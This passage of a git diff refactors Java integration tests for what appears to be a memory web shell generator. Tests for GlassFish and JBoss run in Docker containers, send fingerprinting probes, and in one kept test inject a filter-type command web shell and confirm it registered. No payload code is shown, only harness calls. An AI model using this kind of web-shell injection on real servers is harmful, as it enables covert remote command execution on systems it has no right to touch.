"/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class GlassFish6ContainerTest extends AbstractProbeContainerTest { - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|11.0.16|55", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta( + "reajason/glassfish:6.2.6-jdk11", + "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|11.0.16|55") + .targetJdkVersion(Opcodes.V11) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index 58efd5d1..751c8a91 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -1,113 +1,38 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish7ContainerTest { - public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; +public class GlassFish7ContainerTest extends AbstractProbeContainerTest { - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app/test")); - } - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.2|61", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta( + "reajason/glassfish:7.0.20-jdk17", + "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|17.0.2|61") + .targetJdkVersion(Opcodes.V17) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V17); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java index a7e8d6bc..85b03e2a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java @@ -1,102 +1,37 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss423ContainerTest { - public static final String imageName = "reajason/jboss:4-jdk6"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") - .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class Jboss423ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.JBoss, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss( + "reajason/jboss:4-jdk6", + "/usr/local/jboss/server/default/deploy/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG) + .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000"); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java index e429271b..c68cff03 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java @@ -1,100 +1,36 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss510ContainerTest { - public static final String imageName = "reajason/jboss:5-jdk6"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.JBoss, data); - } +public class Jboss510ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss( + "reajason/jboss:5-jdk6", + "/usr/local/jboss/server/web/deploy/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java index 95199194..cf055e45 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss610ContainerTest.java @@ -1,100 +1,36 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss610ContainerTest { - public static final String imageName = "reajason/jboss:6-jdk7"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.7.0_17|51", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.JBoss, data); - } +public class Jboss610ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss( + "reajason/jboss:6-jdk7", + "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war") + .expectedJdkVersion("JDK|1.7.0_17|51") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java index 9c5f59d2..28a77b66 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss711ContainerTest.java @@ -1,100 +1,36 @@ package com.reajason.javaweb.integration.probe.jbossas; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Jboss711ContainerTest { - public static final String imageName = "reajason/jboss:7-jdk7"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.7.0_17|51", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.JBoss, data); - } +public class Jboss711ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss( + "reajason/jboss:7-jdk7", + "/usr/local/jboss/standalone/deployments/app.war") + .expectedJdkVersion("JDK|1.7.0_17|51") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java index 96a0119b..61c235df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap6ContainerTest.java @@ -2,29 +2,22 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.util.List; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -32,63 +25,41 @@ * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap6ContainerTest { - public static final String imageName = "reajason/jboss:eap-6-jdk8"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class JbossEap6ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jboss( + "reajason/jboss:eap-6-jdk8", + "/usr/local/jboss/standalone/deployments/app.war") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.JBoss, data); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.JBoss, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6); + @Override + protected GenericContainer getContainer() { + return container; } @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss)); - ShellAssertion.assertFilterProbeIsRight(data); - } + protected void testFilterFirstInject() { + String url = getUrl(); + MemShellResult memShellResult = shellInjectIsOk( + url, + getConfig().getServer(), + ShellType.FILTER, + ShellTool.Command, + Opcodes.V1_6, + Packers.BigInteger, + getContainer()); - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); List filter = ProbeAssertion.getFiltersForContext(data, "/app"); String filterName = ProbeAssertion.extractFilterName(filter.get(0)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java index f658f880..b7ecfb7d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap7ContainerTest.java @@ -1,106 +1,36 @@ package com.reajason.javaweb.integration.probe.jbosseap; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import 